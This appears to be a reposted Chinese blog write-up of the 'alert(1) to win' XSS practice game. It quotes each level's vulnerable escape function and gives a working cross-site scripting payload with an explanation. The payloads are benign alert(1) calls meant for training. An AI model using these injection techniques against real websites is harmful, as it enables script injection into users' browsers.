alert to win不完全攻略

Posted superkrissv

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了alert to win不完全攻略相关的知识,希望对你有一定的参考价值。

alert(1) to win

一个练习XSS的平台,地址:https://alf.nu/alert1

Warmup(14)

给出了一段javascript代码

function escape(s) {
  return ‘<script>console.log("‘+s+‘");</script>‘;
}

对s没有任何校验,payload

");alert(1);("

或者

");alert(1);//

技术分享图片

 Adobe (15)

 代码如下

function escape(s) {
  s = s.replace(/"/g, ‘\\\\"‘);
  return ‘<script>console.log("‘ + s + ‘");</script>‘;
}

 

全局替换了 " 为 \\" ,就是说转义了双引号而没有转义转义字符 \\

payload如下

\\");alert(1)//

技术分享图片

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return ‘<script>console.log(‘ + s + ‘);</script>‘;
}

使用了JSON.stringify()函数对s进行处理,该函数会对双引号 " 和转义字符 \\ 进行转义,没有对 < > ‘ / 字符进行处理。

payload如下

)</script><script>alert(1)//

闭合括号然后闭合script标签,创建一个新的script标签来执行alert(1),//注释掉多余的字符串

技术分享图片

JavaScript (15)

function escape(s) {
  var url = ‘javascript:console.log(‘ + JSON.stringify(s) + ‘)‘;
  console.log(url);

  var a = document.createElement(‘a‘);
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

这个有点意思,先上payload

%22);alert(1)//

url是放到a标签的href属性中执行的,href 属性用于指定超链接目标的 URL,是支持URL编码的,%22是双引号 " 的URL编码

构造出的a标签为

<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()执行的时候触发了alert(1)

 Markdown (31)

function escape(s) {
  var text = s.replace(/</g, ‘&lt;‘).replace(/"/g, ‘&quot;‘);
  // URLs
  text = text.replace(/(http:\\/\\/\\S+)/g, ‘<a href="$1">$1</a>‘);
  // [[img123|Description]]
  text = text.replace(/\\[\\[(\\w+)\\|(.+?)\\]\\]/g, ‘<img alt="$2" src="$1.gif">‘);
  return text;
}

第一行代码将所有 < " 字符进行了转义

第二行是将形如 http://S+ 的字符串改写为 <a href="http://S+">http://S+</a> (S+为匹配一个非空白字符一次或多次)

第三行将形如 [[a|b]] 的字符串改写为 <img alt="b" src="a.gif"> 

先放出payload

[[a|http://onerror=alert(1)//]]

该函数构造的结果为

<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用 // 来代替空格,href的起始 " 闭合alt的 ",在于 // 注释掉最后的 " 

 技术分享图片

 

以上是关于alert to win不完全攻略的主要内容,如果未能解决你的问题,请参考以下文章

alert to win 13

“alert to win” writeup

alert to win 9

alert to win 4

20171027中alert to win 第13,14,15,16题

20171025中alert to win 脚本渲染自建